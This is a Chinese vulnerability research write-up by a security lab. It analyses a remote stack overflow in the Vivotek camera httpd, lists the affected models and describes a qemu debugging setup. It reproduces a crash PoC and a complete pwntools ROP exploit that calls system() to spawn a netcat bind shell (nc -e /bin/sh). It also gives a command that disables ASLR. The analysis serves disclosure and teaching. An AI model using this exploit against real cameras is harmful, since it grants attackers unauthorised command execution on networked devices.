1. 程式人生 > 其它 >Vivotek 攝像頭遠端棧溢位漏洞分析及利用

Vivotek 攝像頭遠端棧溢位漏洞分析及利用

作者:fenix@知道創宇404實驗室

發表時間:2017年12月14日

前言

近日,Vivotek 旗下多款攝像頭被曝出遠端未授權棧溢位漏洞,攻擊者傳送特定資料可導致攝像頭程序崩潰。

漏洞作者@bashis 放出了可造成攝像頭 Crash 的 PoC :https://www.seebug.org/vuldb/ssvid-96866

該漏洞在 Vivotek 的攝像頭中廣泛存在,按照官方的安全公告,會影響以下版本

CC8160 CC8370-HV CC8371-HV CD8371-HNTV CD8371-HNVF2 FD8166A
FD8166A-N FD8167A FD8167A-S FD8169A FD8169A-S FD816BA-HF2
FD816BA-HT FD816CA-HF2 FD8177-H FD8179-H FD8182-F1 FD8182-F2
FD8182-T FD8366-V FD8367A-V FD8369A-V FD836BA-EHTV FD836BA-EHVF2
FD836BA-HTV FD836BA-HVF2 FD8377-HV FD8379-HV FD8382-ETV FD8382-EVF2
FD8382-TV FD8382-VF2 FD9171-HT FD9181-HT FD9371-EHTV FD9371-HTV
FD9381-EHTV FD9381-HTV FE8182 FE9181-H FE9182-H FE9191
FE9381-EHV FE9382-EHV FE9391-EV IB8360 IB8360-W IB8367A
IB8369A IB836BA-EHF3 IB836BA-EHT IB836BA-HF3 IB836BA-HT IB8377-H
IB8379-H IB8382-EF3 IB8382-ET IB8382-F3 IB8382-T IB9371-EHT
IB9371-HT IB9381-EHT IB9381-HT IP8160 IP8160-W IP8166
IP9171-HP IP9181-H IZ9361-EH MD8563-EHF2 MD8563-EHF4 MD8563-HF2
MD8563-HF4 MD8564-EH MD8565-N SD9161-H SD9361-EHL SD9362-EH
SD9362-EHL SD9363-EHL SD9364-EH SD9364-EHL SD9365-EHL SD9366-EH
SD9366-EHL VS8100-V2

Vivotek 官方提供了各種型號攝像頭的韌體下載:http://www.vivotek.com/firmware/ ,這也為我們的研究帶來了很多便利。

我們發現,漏洞被曝出之後,在官網韌體下載頁面中的大多數韌體均早於漏洞曝出時間,我們下載了幾款攝像頭的最新韌體進行驗證,發現漏洞依然存在,這意味著截止漏洞被曝出,Vivotek 官方對該漏洞的修復並不徹底。眾所周知,棧溢位是存在潛在的遠端命令執行風險的,為了深入瞭解該漏洞的影響,我們決定研究下該漏洞的原理及利用。

除錯環境搭建

韌體下載

由於手頭上並沒有 Vivotek 的攝像頭,我們在官網下載其中一款攝像頭韌體,使用 qemu 模擬執行。(注:官方在陸續釋出各個版本的韌體更新,可根據韌體釋出時間判斷官方是否已經修復漏洞)

首先下載攝像頭韌體:http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip

通過 binwalk 直接解壓出其中的檔案系統,和漏洞有關的主要檔案如下

根據 file 命令的結果可知目標架構為 ARM、小端、32位。且該 ELF 檔案為動態連結。

修復執行依賴

嘗試用 qemu 執行,結果如下

服務沒有執行起來,且沒有明顯的報錯,猜想到可能是缺少某些依賴,程式直接退出了,扔到 IDA,從程式退出前的提示:gethostbyname:: Success,回溯程式異常退出原因。

依次載入IDA 選單欄 -> View -> Open subviews -> Strings,Command + F

搜尋 gethostname

檢視交叉引用資訊,定位相應程式碼段

異常退出部分程式碼如下

為了看的更直觀,我們來貼一下 F5 的結果,如下

這部分主要涉及兩個函式。gethostname():返回本地主機的標準主機名,如果函式成功,則返回 0。如果發生錯誤則返回 -1。gethostbyname():用域名或主機名獲取IP地址。

Linux 作業系統的 hostname 是一個 kernel 變數,可以通過 hostname 命令來檢視本機的 hostname。也可以直接 cat /proc/sys/kernel/hostname 檢視。

我們只需要將二者改成一致,httpd 服務即可成功執行。

除錯環境

為了方便除錯,還需要搭建 qemu 虛擬機器環境。

qemu 映象檔案下載:https://people.debian.org/~aurel32/qemu/armel/ (下載核心 3.2 的版本)

遠端除錯 gdbserver:https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static

qemu 虛擬機器建議採用 橋接 方式和主機連線。

#!/bin/bash

sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.2.1/24
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1"  -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

啟動虛擬機器,進行簡單配置等待遠端除錯。

漏洞研究

定位溢位點

以下為漏洞作者 @bashis 提供的 PoC

echo -en "POST /cgi-bin/admin/upgrade.cgi 
HTTP/1.0nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXXnrnrn"  | ncat -v 192.168.57.20 80

老套路, 根據 Content-Length 很容易定位到溢位點,如下

驚訝到了,strncpy() 函式的長度引數竟然這麼用,妥妥的溢位。

呼叫棧佈局

dest 緩衝區起始地址距離棧底 0x38 位元組,棧上依次為 LR、R11-R4。Content-Length 長度超過 0x38 - 4 位元組就會覆蓋函式的返回地址 LR。

exp 研究

strncpy() 函式引起的棧溢位,在利用時就會有很 egg hurt 的 0x00 壞字元問題,如果我們的輸入資料中包含 0x00,將會被截斷導致漏洞利用失敗。根據溢位點附近的彙編程式碼來看,0x0a 也會被截斷。且開啟了 NX 保護,這意味著我們無法在棧上部署 shellcode

嘗試通過 return2libc 的方式 getshell。由於沒有實際的攝像頭,我們不知道目標系統是否開啟了 ASLR ,如果 ASLR 是開啟的且沒有其它可用來暴露 libC 動態連結庫記憶體地址的漏洞,那麼利用該漏洞將會是一個很難受的過程。

採用以下方式暫時關閉 ASLR

echo 0 > /proc/sys/kernel/randomize_va_space

libC 庫的載入地址如下

接下來就需要精心構造資料,劫持函式的執行流程了。有一點需要注意,X86 架構下的所有引數都是通過堆疊傳遞的,而在 MIPS 和 ARM 架構中,會優先通過暫存器傳遞引數,如果引數個數超過了暫存器的數量,則將剩下的引數壓入呼叫引數空間(即堆疊)。

從前面的分析來看,只要我們構造 0x38 - 4 位元組以上的資料,棧底的函式返回地址就會被我們劫持。system() 函式地址 = libC 庫在記憶體中的載入基址 + system() 函式在 libC 庫中的偏移,通過劫持該地址為 libC 庫中的 system() 函式地址,再設定 R0 暫存器指向命令字串,就可以執行任意命令。

經過驗證,nc 命令可以正常使用。

接下來我們開始構造 ROP 利用鏈,大致思路見以下彙編程式碼。

Github 上有個很讚的專案:https://github.com/JonathanSalwan/ROPgadget

它可以用來搜尋 ELF 檔案中的 gadgets,方便我們構造 ROP 鏈。

我們需要將字串引數 nc -lp2222 -e/bin/sh 部署到棧上,並且將地址存入 R0。該引數包含 20 個位元組,且不含壞字元。

libC 基址為 0xb6f2d000,由該地址可知 gadget 在記憶體中的有效地址。發生溢位時棧頂地址為 0xbeffeb50

利用 ROPgadget 搜尋可用的 gadgets,在選擇 gadget 時要還考慮壞字元的問題。比如說如下的 gadget 就不得行。

再搜尋一條可用的 gadget,俗稱曲線救國。

選擇以下兩條 gadget,構造 ROP 如下。

# 基於 qemu 模擬環境
# 攝像頭型號:Vivotek CC8160
# 0x00048784 : pop {r1, pc} 
# 0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}


#!/usr/bin/python

from pwn import *

libc_base = 0xb6f2d000	# libC 庫在記憶體中的載入地址
stack_base = 0xbeffeb70 # 崩潰時 SP 暫存器的地址
libc_elf = ELF('libuClibc-0.9.33.3-git.so')

payload = (0x38 - 4) * 'a' # padding
payload +=  p32(0x00048784 + libc_base) # gadget1
payload += p32(0x80 + stack_base) # 棧中命令引數地址
payload += p32(0x00016aa4 + libc_base) # gadget2
payload += (0x8 * 'a')	# padding
payload += p32(libc_elf.symbols['system'] + libc_base) # 記憶體中 system() 函式地址
payload += ('pwd;' * 0x100 + 'ncx20-lp2222x20-e/bin/shx20>') # 命令引數



payload = 'echo -en "POST /cgi-bin/admin/upgrade.cgi nHTTP/1.0nContent-Length:{}nrnrn"  | nc -v 192.168.2.2 80'.format(payload)

通過除錯 ,我們可以獲得崩潰時的棧頂地址,為了確保命令能執行,我們在真正要執行的命令前加了部分命令作為緩衝。

可以看到,開啟了 NX 保護的棧上雖然不可執行程式碼,但是依然可以在上面部署資料。我們只需要將要執行的命令部署到棧上,構造 ROP 讓 R0 暫存器指向棧上的命令所在區域,然後 return2libC 呼叫系統函式,就可以執行任意命令了。

已將 PoC 和 EXP 整理成 Pocsuite 指令碼:https://www.seebug.org/vuldb/ssvid-96866,驗證效果如下。

致謝

第一次接觸 ARM 彙編,有很多不足之處,歡迎各大佬指正。中途踩了不少坑,感謝 404 小夥伴 @Hcamael 和 @沒有ID 的各種疑難解答。

參考連結